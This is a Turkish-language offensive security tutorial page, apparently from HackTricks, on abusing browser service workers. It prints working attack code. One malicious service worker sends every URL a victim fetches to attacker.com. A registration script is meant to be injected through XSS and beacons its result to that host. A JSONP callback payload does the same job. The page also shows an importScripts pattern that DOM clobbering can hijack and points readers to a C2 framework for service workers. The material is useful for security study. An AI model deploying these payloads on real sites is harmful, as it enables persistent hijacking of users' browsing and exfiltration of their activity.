Abusing Service Workers

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

Try Hard Security Group


Temel Bilgiler

Hizmet işçisi, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece çevrimdışı ve arka plan işleme yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Hizmet işçileri hakkında detaylı bilgiye buradan ulaşılabilir. Savunmasız bir web alanı içinde hizmet işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini ele geçirebilirler.

Varolan Hizmet İşçilerini Kontrol Etme

Varolan hizmet işçileri, Geliştirici Araçları'ndaki Uygulama sekmesindeki Hizmet İşçileri bölümünde kontrol edilebilir. Başka bir yöntem, daha detaylı bir görünüm için chrome://serviceworker-internals adresini ziyaret etmektir.

İtme Bildirimleri

İtme bildirimi izinleri, bir hizmet işçisinin doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik riskleri artar ve potansiyel saldırıları alıp yürütme yeteneğini etkinleştirir.

Hizmet İşçisi Oluşturarak Saldırı

Bu zafiyeti sömürmek için şunları bulmanız gerekir:

  • Sunucuya keyfi JS dosyaları yüklemek için bir yol ve yüklenen JS dosyasının hizmet işçisini yüklemek için bir XSS bulun

  • Manipüle edebileceğiniz (keyfi JS kodu ile) savunmasız bir JSONP isteği ve bir XSS ile JSONP'yi yükleyen bir yük oluşturacak bir payload ile zararlı bir hizmet işçisi yüklemek için.

Aşağıdaki örnekte, fetch etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir hizmet işçisi kaydetmek için gereken kodu sunacağım:

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Ve işte işçiyi kaydedecek olan kod (uygulayabileceğiniz XSS'i suiistimal ederek çalıştırmanız gereken kod). Bu durumda, saldırganın sunucusuna bir GET isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı bildirilecek:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Zararlı bir JSONP ucu söz konusu olduğunda değeri var sw içine koymalısınız. Örneğin:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Service Worker kötüye kullanmak için çok yararlı olacak olan Shadow Workers adında bir C2 bulunmaktadır.

24 saatlik önbellek yönergesi, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat boyunca kötü niyetli veya tehlikeli bir hizmet işçisinin (SW) yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığı (TTL)'nı düşürebilir. Geliştiricilere hızlı devre dışı bırakma için bir hizmet işçisi kill-switch oluşturmaları da tavsiye edilir.

DOM Clobbering aracılığıyla SW'de importScripts'in Kötüye Kullanımı

Bir Hizmet İşçisinden çağrılan importScripts işlevi, farklı bir etki alanından bir betiği içe aktarabilir. Bu işlev, bir saldırganın değiştirebileceği bir parametre kullanılarak çağrıldığında, saldırganın kendi etki alanındaki bir JS betiğini içe aktarmasına ve XSS almasına olanak tanır.

Bu, CSP korumalarını bile atlar.

Örnek zafiyetli kod:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM Clobbering ile

DOM Clobbering hakkında daha fazla bilgi için şu bağlantıya bakın:

pageDom Clobbering

Eğer SW'nin importScripts çağırdığı URL/domain, bir HTML öğesi içindeyse, SW'nin kendi alan adınızdan bir betik yüklemesini sağlamak için DOM Clobbering ile değiştirilebilir.

Bu konunun örneği için referans bağlantısına bakın.

Referanslar

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!

Last updated